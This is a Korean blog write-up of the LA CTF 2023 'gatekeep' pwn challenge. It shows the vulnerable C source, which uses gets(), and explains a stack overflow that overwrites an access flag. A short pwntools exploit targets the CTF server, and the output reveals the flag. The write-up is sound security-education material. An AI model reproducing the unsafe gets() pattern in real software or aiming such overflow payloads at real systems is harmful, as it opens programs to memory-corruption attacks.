728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
void print_flag() {
char flag[256];
FILE* flagfile = fopen("flag.txt", "r");
if (flagfile == NULL) {
puts("Cannot read flag.txt.");
} else {
fgets(flag, 256, flagfile);
flag[strcspn(flag, "\n")] = '\0';
puts(flag);
}
}
int check(){
char input[15];
char pass[10];
int access = 0;
// If my password is random, I can gatekeep my flag! :)
int data = open("/dev/urandom", O_RDONLY);
if (data < 0)
{
printf("Can't access /dev/urandom.\n");
exit(1);
}
else
{
ssize_t result = read(data, pass, sizeof pass);
if (result < 0)
{
printf("Data not received from /dev/urandom\n");
exit(1);
}
}
close(data);
printf("Password:\n");
gets(input);
if(strcmp(input, pass)) {
printf("I swore that was the right password ...\n");
}
else {
access = 1;
}
if(access) {
printf("Guess I couldn't gaslight you!\n");
print_flag();
}
}
int main(){
setbuf(stdout, NULL);
printf("If I gaslight you enough, you won't be able to guess my password! :)\n");
check();
return 0;
}
2.2. 분석
바이너리가 실행되면 check 함수에서 랜덤한 값을 urandom을 통해 가져오고,
password를 입력 받은 다음에 이를 서로 비교해서 access가 1이면 flag를 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
stack overflow로 인해 타 변수의 값을 조작할 수 있다.
3.2. 공격 준비
첫 문제라 비교적 간단하다.
password가 입력된 값과 동일한지 확인한 뒤 access 변수의 값으로 이를 판단하기 때문에,
access 변수 값을 조작할 수 있으면 flag를 얻을 수 있다.
password는 gets로 입력받기 때문에 그 크기가 정해져있지 않아 access 변수까지 침범하여 값을 쓸 수 있다.
4. exploit
from pwn import *
#p = process('./gatekeep')
p = remote('lac.tf', 31121)
pay = b'A'*(8+8+7+4)
pay += b'\x01'
p.sendlineafter('Password:\n',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/gate]
└─$ python solve.py
[+] Opening connection to lac.tf on port 31121: Done
[*] Switching to interactive mode
I swore that was the right password ...
Guess I couldn't gaslight you!
lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
LA CTF 2023 - pwn / rickroll (0) | 2023.02.13 |
---|---|
LA CTF 2023 - pwn/bot (0) | 2023.02.13 |
BB CTF 2023 - Medium pwn (0) | 2023.02.06 |
BB CTF 2023 - Easy pwn (0) | 2023.02.06 |
DiceCTF 2023 - pwn/bop (0) | 2023.02.06 |